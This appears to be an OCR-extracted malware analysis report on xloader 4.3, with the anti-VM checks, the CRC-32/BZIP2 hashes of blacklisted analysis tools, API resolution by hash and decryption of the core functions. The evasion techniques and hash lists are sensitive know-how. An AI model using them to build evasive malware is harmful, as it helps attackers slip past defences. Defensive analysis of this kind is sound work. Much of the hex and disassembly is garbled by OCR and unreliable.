analysis. Luckily in the latest xloader, it is still using a similar approach and we can map those flags easily.
The following slide shows all the anti-analysis flags that the xloader uses in its configuration.

Checking anti-analysis tests results

1. WOW32 Reserved hook

. Software debugger

. Kernel debugger

. Blacklisted base file name

. Blacklisted username

. Blacklisted username

. Blacklisted loaded module path
. Blacklisted loaded module path
9. Blacklisted running process

10. Blacklisted running process
11. Blacklisted loaded DLL

oNOoOUOT AWM

5.16

Reference: https://www.botconf.eu/botconf-presentation-or-article/in-depth-formbook-malware-

analysis/


https://www.botconf.eu/botconf-presentation-or-article/in-depth-formbook-malware-analysis/
https://www.botconf.eu/botconf-presentation-or-article/in-depth-formbook-malware-analysis/

Decryption/Deobfuscation Routine:

Xloader relies heavily on encryption and obfuscation to avoid being detected from EDR solutions. There is
multi-layered encryption performed on its code. The APIs are all hashes, the string and libraries are also
hashes. Eventhe hashes are encrypted in the conf obj. The core functions of xloader are all encrypted and

decrypted at run-time after anti-analysis checks are cleared.

Decrypting Library Names:

The decryption routine starts, | stepped throughthe next function after anti-vm checks have been

cleared and it looks like the anti-vm flag bytes are used as decryption seed value.

The library names are being decrypted one by one.

ERCFEEAR ED A4 57 F9 24 g4 7E EE 76 CS B4 C9 BE 17 3& F7  imwiSdeivd EX.::+
PBCFEEE® AS 13 49 6D 95 31 38 D5 86 5F E3 @4 (8 ES DF 58 ¥.Ime180t 3.E3RX
PBCFEBCE EB 35 1F 8C A9 45 @3 3C 9B 9@ EA 8A D2 A6 E2 6B &5.(BE.<:.850!ak
BECFEED® 6C 4E AF BD D7 F4 B@ FB FA FD 56 53 42 59 FC 66 1N ¥xd°UdyvsBYuf
PBCFEBE@ 8F 7C 36 9A BB CD EC 48 BA 91 (@ 7D @5 30 47 34 . |63 IiH2‘A}.eca
PBCFEBFE 2C 39 D3 3E @A 2F 82 E1 46 DS 20 87 B6 1A FE 16 ,90>./,aF0-19.p.
PBCFECEE D6 7A 85 28 @D DE AB 18 93 D4 @7 80 BS 8B 92 88 Oz..(.p ."0.€u¢”.
PBCFEC1E 6A B2 E6 @C 4B 9D 65 3A 58 @0 88 D1 38 EC CF 8@ j.=.K.e:P..H8il.
BECFEC2E C7 CE SE @@ 78 EC CF @@ @D @8 88 @8 7C ED CF @8 CI~.xil..... |i.
BBCFECS® 58 EE CF @@ 2C EE CF @@ E4 ED CF @@ 8B F9 S5F @@ Xil.,il.adii.«d .
RECFEC4® 78 EC CF @9 6D @0 00 6@ 7C ED CF @B 7C ED CF @@ xiI..... |[iI.|4I.
BECFECS® 7C ED CF @@ 58 EE CF 9@ ©9 ©0 90 @0 7C ED CF @8 |iI.xiI..... |iI.
AECFECE® 78 EC CF @9 74 F4 CF 6@ oD 00 00 @8 79 EC CF @@ xiI.tdI..... vil.
BECFECTE @0 66 00 08 63 @1 68 B8 6B 65 72 6E 65 GC 33 32
PECFECES 2E 64 6C 6C G0 G0 0O G0 00 00 B0 00 00 28 oo [ |
GECFECOR 00 60 OO 00 60 OO 00 GP 0D G0 0D B0 B8 6B 88 BB .. ......cveuun..
PECFECAR 00 00 OO 0P 00 PO OO GP OO G0 0D GO B8 BB B8 BB .. ......ceeuwn..
[D] Hex view-1 0 &8 x
PBCFEC28 CC ED CF @@ BB FO S5F 8@ 68 EC CF @8 @D @8 @@ @8 Iif.«n_ . il.....
BECFECZ® 64 ED CF @@ 64 ED CF 8@ &4 ED CF @B S8 EE CF @@ dil.dif.dii.xii.
GECFECAR OO @B 00 @9 64 ED CF @@ &8 EC CF @@ 81 F4 CF 88 .dif. iI..ad.
GECFECSE 6D @B 0@ A9 61 EC CF 6@ OO 00 60 00 B3 01 A0 A6 aif.........
PECFECAR 61 64 76 61 7@ 69 33 32 2E 64 6C 6C [ff @@ @@ @@ advapi32.dll....
CECFEC7D A0 00 0D 49 00 00 0O GO 00 00 0D B0 B0 BB B9 BB  ......evreaaaas
QECFECEE 60 60 0D 00 00 60 00 G0 0D G0 0D 60 B0 BB 88 BB .. ......oeeeen..
DECFECOR 60 60 00 00 60 OO 00 GD OO G0 0D 60 B8 6B 88 BB .. ......oueuun..
DECFECAR 0D 60 OO A0 00 OO OO GP OO G0 0D B0 B8 6B 88 BB .. ......oueunn..

These libraries are then loaded by the native function LdrLoadDlII




Structures [x] Enums [x]
0 & x [T Hexview1 O 8 x| 38 General registers
;:; ;5;;; :“';: EEE;»":EP O], eax [7765DDB@  7F 85 €@ @F 85 E9 BB @4 88 39 5D DC 75 @D 89 7D | [eax 776500Fe W nEdll.d11:ntdl] LdrLloadDll
.text:B@SECFDF test  eax, eax P7e300Ca E7 @8 74 @1 (3 83 7D @5 01 75 F3 33 FF 75 08 BA ¢ EBXGBCFEDAS 4 Stack[@BGAACEC]:BBCFEDAS
texti005ECFEL jnz ot e SECFEA 77650008 96 14 @6 88 B9 42 81 80 (8 EG Al ED 1 80 C3 CC - o GIEREE (Sl TR e
= [7765DDEG C€C €C CC €C CC €C €C €C €€ €C €C €C €C €C €C o€ I :
I 77650DF@ FF 55 88 EC 83 E4 F8 81 EC 74 @1 88 @8 Al 7@ T EDX @8CFEDAB W Stack[@98@8CEC]:88CFEDAS
[7765DEGG B3 73 77 33 (4 89 84 24 70 G1 80 88 88 4D 6C 8B sw3kk,Sp...<M.¢ ESI@BCFEDS8 Y4 Stack[@BEAACEC]:BBCFEDSS
[l s = [7765DE16 45 14 89 44 24 16 53 56 85 75 18 57 85 7D 08 85 E.EDS.SVeu.Mc}. EDI GOCFEDB4 & Stack[0000ACEC]:@BCFEDEL
- Eext:BOSECFE3 mov edx, [ebptarg 6] '765DE20 €9 OF B4 47 01 00 00 B5 09 E5 02 05 00 00 35 08 E..) asd) EBP @@CFEB74 b Stack[000@CEC]:@0CFEE74
text:BOSECFES lea e [ 7765DE3@ F6 @5 (@ 37 73 77 @9 OF 85 B9 BE 04 60 56 0D 04 . TR (o S (77 TaE T
text:BOSECFEQ push  eax 7765DE42 39 73 77 F6 C1 @4 OF 84 CE BB 04 08 F6 C3 08 OF :
text:BOSECFEA mov cax, [edxt8] [7765DES@ 85 E@ BS @4 60 64 Al 18 00 00 00 BI 60 20 60 90 .. EIP G@SECFFS b sub_SECF83+72
text:BBSECFED lea ecx, [ebpivar_8] 7765DEG2 66 B5 88 CA OF @0 @9 OF 85 @C BO @4 60 5B 4E @4 EFL 006800246
text:@OSECFFG push  ecx 7765DE72 8D 84 24 28 ©1 @0 @0 50 8B D7 E8 77 OA 90 00 68 . 5
text:@@SECFF1 push @ 7765DES2 AS 14 @@ @@ 8B D6 89 5C 24 14 33 C9 E8 F5 00 @0 ~...Ok\$.3E23..
_text:00SECFF3 push @ 98 8D 44 24 28 (7 44 24 20 8@ 00 08 B1 §9 44 24 ..DS((D3:....2D$
fext:BOSECEE 6! 24 8D 54 24 28 33 (@ 88 CE 66 89 44 24 28 8D 44 $.T$-3AcIfaD3(.D
text:BOSECFE7 mov eax, [ebpivar C] 6! 24 18 56 6A B0 ES 66 D2 FF FF 89 44 24 14 85 (@ $.Pj.2f0yy&Ds..A
6! 78 24 8D 44 24 14 56 8D 44 24 1C 58 A 99 GA 88
6! 6A G4 FF 74 24 24 8D 94 24 48 81 88 60 5D 4C 24
6! 38 E8 OF 02 66 0@ 8D 44 24 28 3B 44 24 24 BF 85 -
5! 24 00 06 00 8D 44 24 28 C7 44 24 20 60 08 60 01 ,,....
- text:085ECFFA 5! 89 44 24 24 8B D6 33 €@ 33 C9 68 AJ 14 8 60 66 =
.text:@8SECFFA loc_SECFFA: 65DF. 89 44 24 2C E3 6D 90 @2 00 30 BC 24 74 @1 00 90 (@l theads E) (38 Modues £ [T stack view
= L ool et it Swe | SO
.text: e 65DF —
. text:0@5ECFFD ﬁ‘::n F 7765DF4@ 37 73 77 @9 OF 85 39 BE @4 @@ 8B C6 8B BC 24 7C 3308 CEC Ready du 32[7:923 33?2222?
.text:@@5ECFFD sub SECF83 endp [7765DF52 @1 @@ @@ SF SE 5B 33 CC EB @3 6E @2 80 86 ES 5D e
. text:@85ECFFD [7765DF62 C2 1@ @@ FF B4 24 28 @1 ©@ 8 E8 11 69 @1 60 EB Craen
7765DF78 B6 33 DB E9 BB FE FF FF FF 74 24 24 E8 1F DB FD e
[7765DF8@ FF E9 6E FF FF FF BB FF 55 83 EC 64 Al 38 60 88 yén: d rarasee
[7765DF30 @8 56 57 8B F2 8B FO 8B 40 58 85 (@ BF 85 34 B3 .VW(D(U@P.A..4% Craraass

Decrypting APl Names:

¢ Some of the APIs that are being decrypted suggests that it looks for further Process Injection

D3
o
o

0’0

s LookupPrivilegeValueW
SeDebugPrivilege
% AdjustPrivilegeToken

ﬁ General registers

@ Hex View-1 O &8 X ﬁ General registers
@aCFEEE®@ BC EB CF @@ BC EB CF @8 6D 00 60 @0 (6 EC CF 60 | |EAX BBCFEBEE Stack[BBBBBCEC]:BBCFEBEE
pOCFEEIE (B EC CF @8 CO EC CF 0@ B4 ED CF 00 0P 0B 00 00 EBX 9BCFEDES Y Stack[0@OGCEC]:00CFEDSS
@ACFEEAR (@ EC CF @@ BC EB CF @@ DD F3 CF @@ @D @0 99 @0
GCFEEE® BD EB CF @0 00 02 @0 9@ 03 @l @0 89 61 64 76 61 ECX BBE00000 L
pOCFEBCE 78 69 33 32 2E 64 6C 6C 80 @@ @@ e@ 53 ea [§ ea pi32.dll....s.e. EDX @@CFEDBO 4 Stack[@@eaaCEC]:eaCFEDES
44 @@ 65 B9 62 @8 75 @@ 67 @@ 58 @80 72 @@ 69 @@ D.e.b.u.g.P.r.i. ESI BBCFE24D % "SeDebugPrivilege”
76 @@ 60 9@ 6L @@ 65 @@ 67 0@ 65 00 00 °@ @0 0@ v.i.l.e.g.e..... EDI GEOBBEEL L
2D G 52 22 (LD (52 6D G2 ED (29 6D 0 G2 ED (2 G EBP @BCFECDC Y& Stack[@@@eaCEC]:@aCFECDC
@@ 06 PP @A A0 PR @@ PG 0D @GP 0 PR @R 0B PP @A
BECFECIE o0 B8 60 02 0O 0@ 0O BR GO 0B GO 03 8D B 89 00 ESP @BCFDEAC W Stack[@88@8CEC]:@8CFDEAC
BACFEC2E @0 00 00 00 0D OO 0D GG 0P GO 00 00 00 00 O 0D EIP @B5ED446 % sub_SED2D3+173
MACFEC3E @@ A0 PP G0 DG 9P 0D G 0O @9 OG 0O 0P 00 PO @O EFL 00RRA244
POCFEC4A? @@ 00 0D @P 00 99 0P 90 0O 0P 00 9D GP 00 PO 00
BACFECSE o @0 0D @0 00 D 0D PO 0D 0D 0O PO O B0 PO OO
PACFECER @@ A0 PP G0 DG 9P 0D PG 0O @9 OG GO 0P 00 PO @O

EAN TEABAZ3E Y
EBX BBEF2E68 W
ECX 76C11DES %
EDX BBB2Z1DES %
ESI @87EF55C %W

advapiz?.dll:advapi32_ LookupPrivilegeValuel
TIE[@eepeF7C] : eaEFeeaa

debug®3@:98B210DE3
Stack[@eeear7C] :ea7erssC

EDI @878F97C W
EBFP @E72EABS YW
ESP BO7OESEC W
EIP BB5FEADZ %
EFL eaaaa2ad

Stack[@eeaaryC
Stack[@eeaar7C
Stack[@eeaar7C
sub_SFEAB3+1F

@aTaravC
aa7aEABRL

]:
1=
] :BBTEESEC



Computing String Hashes:
e There is a hashing algorithm used for strings, apis etc.
e Itloads all the string hashesand compare the running processes with each hash value, if it finds

any such process, it adds desired value on the anti-vm flag on conf obj.

e Inthescreenshotbelow, itis checkingthe process name hash with the value of pre -defined set of
hashes that it stored.

on Ml Reguiar functon Ml Instruction

Data

Unexplored

External symbol [l Lumina function

oo __________§

Debug View 0 @ Structures Enums
O & x| [0 HexView-1 O @ x |3 Generalregisters
.£ext:B80ABDIO push  =ax - C4 98 E6 FD 09 FD BS 59 BE E@ 79 8D 67 C6 3A 80 ~||eax eooeeoe1
text:QeSABDIA push  edi Do DB FB B4 DS 88 BC 9A 62 96 7D SE BB BO 3 93 5108727600 W T30
- text:0e9ABD1B push 0C AD FF 97 B1 10 BB AF 06 @D 71 AB DF 28 32 AS "
. text:@@9ABDIC call sub_9B95A3 68 36 F3 A2 6D 66 B4 BC DA 7B 75 B8 @3 5D 36 BS ECx I
. text:@e9ABD21 add » B4 40 F7 B1 38 EB 8F 80 45 95 OB 88 34 EA 8F 00 EDX @@BFEA3F & Stack
. text:@@9ABD24 push @@ 34 EA BF @2 30 ED GF 00 OB 90 90 80 ESI @@BFEECC & Stack[ o (4
. text:B8@9ABD25 call sub_9B9603 00 34 EA GF 00 04 Ol 00 00 55 0@ 00 00 EDI 00000055
fextico9ARD2A add  eep 2 00 70 72 GF 63 6D GF 6E 2£ 65 78 65 00 Ii..procmon.exe. T S S v
text:0@9ABD2D test  cax, cax 00 00 00 60 60 00 08 GO GO 00 60 60 00 o

.text:009ABD3L inc
. text:0094BD32 cmp
Ltext:009ABD35 jbe

edi
edi, 52

short

h 5 b
loc_9ABD13

. text:809ABD39
_text:809ABD39 loc_9ABD39

text:809ABD3C xor
+text:009ABD3F mov

[esi+7Ch],
bl, 1

_ Yy
| W= ]
.text :0894BD37 jmp short loc_9aBDa1)

ecy|

text:809ABD41
. text:809ABD41

loc_sABDa1
lea ed, [ebptvar_3a6]

0 00 00 00 00
00 00 00 00 00
60 00 00 00 00
60 00 00 00 00
60 00 00 00 00
0 00 00 00 00
0 00 00 00 00
00 20 00 00 00
60 00 00 00 00
60 00 00 00 00
60 00 00 00 00
0 00 00 00 00
0 00 00 00 00
00 20 00 00 00
0 00 00 00 00

80 ED GF 08
@0 2C 02 80 00
0 00 00 00 00
0 00 00 00 00
00 6E 00 2E 00
60 00 00 00 00
60 00 00 00 00
0 00 00 00 00
0 00 00 00 00

@2 00 62 @2 00 00 60 00
02 90 00 60 00 00 60 60
a0 0o 60 60 08 60 80 0O
@0 00 60 60 6O 60 80 B0
@0 00 60 60 0O 60 80 00
@2 0 B0 @2 08 00 80 00
@2 00 62 @2 00 00 60 00
00 20 00 G0 00 00 80 00
a0 0o 60 60 08 60 80 0O
@0 00 60 60 6O 60 80 B0
@0 00 60 60 0O 60 80 00
@2 00 62 @2 00 00 60 00
@2 00 80 @3 00 00 60 00
00 20 00 G0 00 00 80 00
94 EE 8F @0 2A BD 9A €0
A4 FD 8F 00 CC EE 8F 00
@2 0 80 @3 D8 10 @0 00
@2 00 60 @0 50 OF 60 00
58 80 72 @8 6F 0 63 00
65 20 78 60 65 00 @0 00
@0 00 60 60 0O 60 80 B0
@0 00 60 60 0O 60 80 00
@2 0 B0 @2 08 00 80 00
@2 00 62 @2 00 00 60 00

£5P 0BBFEB4E b Stack
EIP009ABD39 W sub_SABCAS
EFL 00000202

loc_oaBD39

(O] Stack view

OBFFDAL Stack( o

IO push el e 0] % 00 60 00 0 00 GB 06 06 00 03 00 GO
: b g >
e o 9 00 00 00 00 00 00 00 00 60 00 00 G0 ............. ..

981) (898,395) 00DOBD3S ODSABDIS: sub SABCAS:loc SABD3S (Synchronized with ZID

[UNKNOWN 008F2B43: Stack([00000ZBS] -

008FEB43 (Synchronized with EDK)

(Synchror

e The hash value that is it is comparing to is 23 E0 C7 CD which in hex is (OxCDC7E023).
¢ | have checked 32-bit hashing algorithms by calculating the hash of procmon and found the

hashing algorithm that it uses.
e It uses CRC-32/BZIP2 hashing for its strings

procmon .exe

Input: ® ASCII O HEX Output:® HEX O DEC O OCT O BIN [ Show processed data (HEX)
CRC-8 CRC-16 CRC-32

Algorithm Result Check Poly Init RefIn RefOut XorOut

CRC-32 @x5BASB1FE OxCBF43926 @x84C11DB7 BxFFFFFFFF true true @xFFFFFFFF
CRC-32/B71P2 @xCDC7EB23 BxFC391918 @x84C11DE7F BxFFFFFFFF false false OXFFFFFFFF
CRC-32/JAMCRC BxA4LEAERL Ox348BC6DS @xe4C11DE7 OxFFFFFFFF true true oxoeeeeese
CRC-32/MPEG-2 ©8x32381FDC OxB376EGET 0xe4C11DE7 OxFFFFFFFF false false oxbeeeeees
CRC-32/POSTX @x85B5FEQA Bx765E7688 @x84C11DB7 9x86002600 false false @xFFFFFFFF
CRC-32/SATA Bx6495BF2F OxCF72AFE8 0x84C11DE7 ©9x52325832 false false exoeeeeese
CRC-32/XFER ©xCe21CFDE ©OxBDEBE338 0xBOER8BAF 0x00000008 false false oxoeeeeese
CRC-32C ©@xDAB5SF5B3 BxE38639283 Bx1EDC6F41 OxFFFFFFFF true true OxFFFFFFFF
CRC-32D 8xE2C9C329 Bx87315576 0xAB33932B OxFFFFFFFF true true OxFFFFFFFF
CRC-320 8x831D23B2 Bx3018BF7F 8x814141AB 9x00000608 false false exoeeeeese

Share your result:

https-//crecale.com/?ere=procmon.exe&method=crc328&datatype=ascii&outtype=0

Consistent Overhead Byte Stuffing (COBS) Enceder/Decoder
Cookies policies




All the hashes that it checks are listed below:

1 86 90 BE 3E
2 BS5 DD 6F 4C
3 3EB16D27
4 8E OA OF EO
5 04 94 CF 85
6 84 87 24 B2
7 23 E0C7CD
8 50 5F 1F 01
9 1CBCD41D
10 E2 FC35 82
11 D5 E2 2CC7
12 8B 17 63 02
13 56 53 58 57
14 40 52 B9 9C
15 EF O9F C30C
16 57 AC47 93
17 DC2295 9D
18 OEC71B91
19 B9 3D 44 74
20 A91A4CFO

Computing APl Hashes:

Similar to strings hashes

Ox3EBES086

0x4C6FDDB5

0x276DB13E

OxEOOFOASE

0x85CF9404

0xB2248784

OxCDC7E023

0x011F5F50

Ox1DD4BC1C

0x8235FCE2

0xC72CE2D5

0x0263178B

0x57585356

0x9CB95240

OxOCC39FEF

0x9347AC57

0x9D9522DC

0x911BC70E

0x74443DB9

OxFO4C1AA9

vmwareuser.exe
vmwareservice.exe
vboxservice.exe
vboxtray.exe
sandboxiedcomlaunch.exe
sandboxierpcss.exe
procmon.exe

filemon.exe
wireshark.exe

netmon.exe

sharedintapp.exe
vmsrvc.exe
vmusrvc.exe
python.exe
perl.exe

regmon.exe

The APIs that are being loaded from injected ntdll are also called by hashes instead of names
This method makes detection very hard even for manually analyzing the malware.

The malware loads all exports of ntdll one by one and computes the CRC-32/BZIP2 hash of those
apis then compares it with its decrypted hashes.
If a match is found, then it retrieves the address and call the function, hence bypassing all API

hooks.



Instruction || Data [ Unexplored

a
i)

View

Pseudocode

External symbol

Lumina function
&

Pseudocode-A

Structures
[T] Hex view-1

.text:@@5FIECD xor
.text:@asFIECF cmp
.text:@esFIsD2 ja

ebx

ebx,
[esi+18h],
short loc_

Enums

O @ x| ceneralregisters

65
a5
74
65
63

70
76
65
48
65

6C
65
57
85
73

ebx
SFI6E6

61
6F
70
a5

69
6E
6C
6E

6E
1)
65
6C

i et =

.text:@85F96EE
.text:885FI6EE IDC_EFQEEE:
.text:885F96E6 mov
«text:885F96E9 mov

edx, [eaxtebx*4]
cax, [ebptarg_12]

6C 62 61

‘Command Prompt

58 6F 72
74 08 4E
74 63 68
00 45 74

4E 74 52
72 49 6D
74 52 6F
65 00 4E
73 74 6D
68 52

74 69

4

.text:POSFIGEC add edx, edi \Users\redte\De .
text:DOSFISEE push  edx C.\U§e[s\ledtr\Drsktoppython check_hash.
Ctext:00SFaBEF push  eax Provided Hash: 8x207C50FF

text:085F96F@ call sub_5F9603 Matching Strin NtResumeThread
text:B05FI6FS add esp, 8

text:BOSFIEFE test
text:BOSFIEFA jnz

eax, eax
short loc_S5F9709

1 matches found !!!

text:BO5FIEFC inc

ebx
ebx, [
short

.text:@85F96FD cmp
.text:085F9700 jb

C:\Users\redte\Desktop>

esi+lsh]
loc_SF96E3

| e =

d with EIP)

6EF QUSFOSEF: sub_SF9EE3+EC

Jed\user: dir
W64 \win32u.dll
M64\GDI32.d11
J64\gdi32full.d11
64 \msvcp_win.d11
Me4\ucrtbase.dll
WE4\TMM32.DLL

74 88 4E 74 52 65 73 65
74 52 65 73 65 74 57 72
@0 4 74 52 65 73 74 6F
52 65 73 75 6D 65 50 72
o

72 74 43 6F

65
70
6C
74
65
67
6E

76
65
6C
52

65
72 73 6F
62 61 63
6F 6C 6C
6E 74 80 4E
69 73 74 72
80 4E 74 52

ReplyPort .NtRese
tEvent.NtResetir
itellatch. NtResto
reKey . ltResumePr
ocess. litResumeTh
read.NtRevertCon

EBX 88008228
ECX 20008000

6E

~ | |eax 207cseFF W
-
-
EDX 21916946 4 "NtResumeThread
ESI @190DA26 4 n

6E 61 74 tainerImpersonat 0161800600 & n
6B 43 6F fon.NtRollbackco
B10FE184 & S
62 61 63 mplete.NitRollbac £op loriren o
74 52 6F kenlistment.NtRo &P > S5
79 54 72 1lbackRegistryTr EIP @ASFIGEF % sub_SF9663+8C
6F 6C 6C ansaction.NtRoll EFL 00000202

Options  Windows  Help

A~ @@ ofohe - X > OO Lo indowsdebugger v/ %l [P
I

il

EFL 60000206

e | wrotea little script that doesthe same, | provide the hash and it searchesin a list of commonly
used strings,apis,paths etc, computes their hashes and then compares with the provided hash to
check weather a match has been found or not.

e Here in this case, the hash matched on NtResumeThread API call, so malware will exit the loop
and continues to retrieve the address and then call the api.

e It manually searches for the address of desired APland calls it, this way the debuggeris also not
able to detect which APl is being called.

e Inthescreenshotbelow, | have openedanotherinstance of same dll in IDA with symbolsand we
can see the hex value that is being pushed onto eax register is the same.

Debug View B @ Structures il Enums
IDA View-ETP dEB(zh Pseudocode-B Pseudocode-A = 3] Hex view-1 — . o & i :xc::z:iscjs
e PR s
e e s BERERS g orossrross o
e ey e

[T stackview

010FF5a4

ub_SFE103+1C

ub_SFE103+28

| know the hashing function, so instead of steppingthrough this native assembly of hundreds of

functionsin a loop, | have just setup the breakpoint on that function by writing IDA python script

n [ pa Unexplored | External symbol [l Lumina function
B B T HexViewt B stuctues Enums Imports = =
text:018730C0
text:018730C8 ; _ stdcall ZwResumeThread(x, x)
text:018730C0 public _zwResumeThread@s
text:018730C0 _ZwResumeThread@i8 proc near o pCreateEtwThread (x, x)+2ETp
v .text:018730C0 mov  eax, 7052 litResumeThread
text:018730C5 mov edx, offset _LowbaSystemServiceCall@® ;
text:018738CA call  edx ; Wow4SystemServiceCall() ; lowBAS
text:018730CC retn 8
text:818730CC _ZwResumeThread@s endp
°
and just continuing again and again to see the decrypted APIs
o The List of APIs that | found are listed below:



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

26

NtOpenDirectoryObject
NtCreateMutant
RtlSetEnvironmentVariable
NtCreateSection
NtMapViewOfSection
NtOpenProcess
RtlAllocHeap
NtQueryInformationToken
NtProtectVirtualMemory
NtCreateFile
NtDelayExecution
NtReadVirtualMemory
NtOpenThread

NtReadFile
NtUnmapViewOfSection
NtResumeThread
ExitProcess
NtQuerySystemInformation
NtOpenProcessToken
NtAdjustPrivilegesToke
NtReadVirtualMemory
RtlQueryEnvironmentVariable
RtIDosPathNameToNtPathName U
NtSuspendThread
NtGetContextThread

NtSetContextThread



Decrypting Core Malicious Functions:

The malware decrypts its core functions at run-time and then jumps to those functions continuing
the execution flow.

Xloader sets up a function by push ebp and mov ebp, esp and other starting instructions but
below these all bytes are encrypted.

In previous versions of formbook, the core malicious functions could be identified by the magic
bytes of 48909090, 49909090 etc.

However, in the latest xloader 4.3 these starting bytes are random.

Afterthe anti-vm checks and establishing the RC4 decryption key. These functions are decrypted
at run-time and the execution flow jumped to the decrypted assembly.

IDA resolves the decrypted bytes and recreates assembly instructions to continue.

DA View-EIP ] Pseudacode-B [S] Hex view-1
.text:@@5EDDE@ db 9, @B4h, @CEh ~ |la1eFEo1e o0 00 60
S Eck: B0 S E D E S I e 618 ee 8@ 80
. text:@@5EDDE3 218! 88 2@ 08
.text:@@5EDDE3 loc_ SEDDE3: ; CODE XREF: .text:@@5E35A21p 516 20 B2 68
. text:BBSEDDEZ push  ebp e1ereose [ ee o0
. text:@@85EDDE4 mov ebp, esp 218! B@ E9 @F !
. text:@@5EDDES sub esp, 776h 516 B® E9 @F |
. text:@@5EDDEC push ebx 218! EB @82 @8 '
. text:@@5EDDED push esi 218! 63 4C 17
. text:@@SEDDEE[ db 98h, 98h 218! @8 27 87
. text:@@SEDDEE| db 98h B1BFEQ 7C F4 @F
. text:@@5EDDFO| db 98h, 98h, 98h, 98h, 33h, @DBh, 68h E.
. text:@@SEDDFO| db  9oh ® Please confim XE
. text:@@5EDDF7| movsb B
. text:B@85EDDFE] add al, [eax] IDA has detected that EIP points inside a previously defined instruction. | §
- text:@@SEDDFA db @, 8Dh . This can perhaps indicate that: B
. text:885EDDFA] db 2] - an error occurred during the analysis. 7
. text:@@5EDDFC] db 85h, 9Ch - the code modified itself during the execution. 7
.text:885EDDFC| db  85h ; .. Would you like to directly create an instruction at EIP ? B
. text:@@5EDDFE| db @FAh, @FFh, @FFh, 53h, S@h, 8%h . B
text:@BSEDDFE| db BFAR ; © [ pon't display this message again E
. text:805EDER4| popt L
. text:@@5EDEBS| db 98h, @FAh, @FFh, @FFh, 8Esh, 75h Yes Mo B
.text:@@sEDE@S|db 98h ; B
. text:@@5EDERE| and al, 1 B1e BE C2 77
.text:@@5EDERD| db @, 68h, @Ash, 2, @ 616 A9 3F 29
. text:@@5EDERD] db e 218! 3B 82 BF
.text:@@5EDE12| db @, 8Dh 816 EF 5F 97
. text:@@5EDELZ] db e 218! El C3 23
r - |-text:@@SEDE14] db 8Dh, 44h 218! 8E 97 A3
: .text:@@SEDE1IH db  EDh 218! 5E 86 71
| . text:@@5EDEL6| db @FDh, @FFh, @FFh, 53h, 51h ] E9 @8 76 '
0 . text:@@5EDEL6| db @FDh ; ¥ 516! '
! ® | text:eesepeie|db ash Decrvpted Core 313 ;ﬁ :: Z;
B e Functions [ e
: _text:005EDDEE (Synchronized with EIE) v
"v < > TNENOWN 010FESS0: 5
% Output window



AL e L L

3

.text :8@5EDDEH
. text:BBSEDDER
28d |, text:BOSEDDER
. text:B@SEDDFE
. text:B@5SEDDF]
.text:B@SEDDF2
.text:B@5EDDF]

db 98h

.text:ee5EDDF4
.text:885EDDF
.text:885EDDFB
.text:885EDEAL
.text:885EDERA2
.text:885EDER3)
.text:885EDEAY
.text:885EDERE
.text:885EDEL3)
.text:@e5EDELY
.text:885EDELA
.text:@e5EDELE
.text:8e5EDE2]
.text:B885EDE26
.text:885EDE2B
.text:@885EDE3]
.text:885EDE33)
.text:B85EDE34Y
.text:885EDE3S)
.text:885EDE3C
.text:885EDE43)
.text:8a5EDE47
.text:885EDE4E
.text:@e5EDES3)
.text:@e5EDESE

.text:@e5EDESS

nop L
nop Replaced with identified
nop

- flag bytes

nop

xor ebx, ebx

push 2A4h

lea eax, [ebp-564h]

push ebx

push eax

mav [ebp-568h], ebx

call sub_ 688283

push 2A4h

lea ecx, [ebp-2BCh]

push ebx

push BCX

maov [ebp-2C8h], ebx

call sub_6@@8283

push 2@6h

lea eax, [ebp-76Eh]

xor edx, edx

push ebx

push eax

mav dword ptr [ebp-14h], 8B55FF8Bh
mov dword ptr [ebp-18h], BEBECh
mov [ebp-8Ch], bx

maov [ebp-778h], dx

call sub_ 608283

maov esi, [ebp+8]

push 1@h

lea ecx, [ebp-778h]

Assembly
generated from
decrypted bytes

Understanding the detailed technical methodology of decrypting these encryption and obfuscation

techniques. This following blog by zscaler is an excellent resource.

https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-s-code-obfuscation-

version-4-3

Partially Decrypted Shellcode:
e Steppedoverafew functionsanditlooks like it reads itself and most likely trying to injectitself in
some other process

e The malware is now preparing for another binary to inject further. As can be seen in the

screenshot of the dump that | found in the memory

e This memory dump is RWX memory region in itself as can be seen in the process hacker


https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-s-code-obfuscation-version-4-3
https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-s-code-obfuscation-version-4-3

@ Hex View-1 ﬁ General registers
pEEHAERR R MY PR BE BV BV DY P BV U B BB BP WY PR B
pREEEDL REOBE MY DR BR OBE PE EE BY PP BE BB BE Y PR EE

EAX @18FE168 W& Stack[@@0@1FAC]:818FELGS

PP PP PP PP 2P PP 2 PP 27 PP 2P PP PP PR PR PP EBX 60000601 '

22 22 22 22 22 22 33 22 23 23 22 22 22 22 22 22 ECX 00000600 b
B136FFFE 22 22 22 22 22 27 23 23 P2 22 22 2?22 P2 PP P2 22 22722227 EDX @10FE168 b4 Stack[@@0@1FAC] :818FELEE
61376008 @7 EB E7 F5 D6 83 49 AD A9 5A @9 A6 88 AB MZ.tcd0fpez. .- EST 91370886 W debughS3:B1378008
01276016 25 85 OF ES AE 50 BF DF E6 8B 9C DC 71 Al 75 3F X..2%P:R=calqju? EDI BB2C3F4 G
1376020 €2 86 7F 33 D4 9B AG D1 1A D2 24 JF 88 12 53 14 At.80:|iL.08/ .S. EDPBLOFELES & Stack[BOGO1FAC]:B1AFELES
21378838 F3 DD BF A9 E6 30 80 7B 77 AA C7 C3 BA F1 B6 EA DY;_@RM{N! SffE N
61376648 75 52 75 4C B3 A7 82 3D DC 7E 48 49 D4 77 54 68 uRulL3§,=U~HIOWTh ESP@18FE15E & Stack[@ae@1FAC]:@18FE1SE
01378058 69 73 28 78 72 6F 67 72 61 6D 20 63 61 6E 6E G6F is-program-canno EIP @@5FFBBE 4 sub_SFFBE33+88
1376068 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t-be-run-in-DOS- EFL 8800244

21370878 6D 6F 64 65 2E F4 CO 43 EE 84 73 46 DA 20 B8 65 mode.8ACi,sFU- e
01370880 F5 AE B4 C4 1E Al D9 9D FB 11 AD ED E2 11 CD 6E &®°A.;l.0 f
1376898 FA 3D 32 €6 9D 92 B4 FE 81 83 CC 35 18 48 9E 96 (=
1370848 B4 7A 37 B7 EF DD 13 23 CA 7D E2 EB 14 FC 8B BB “z7HiV.#E}&e.l«,
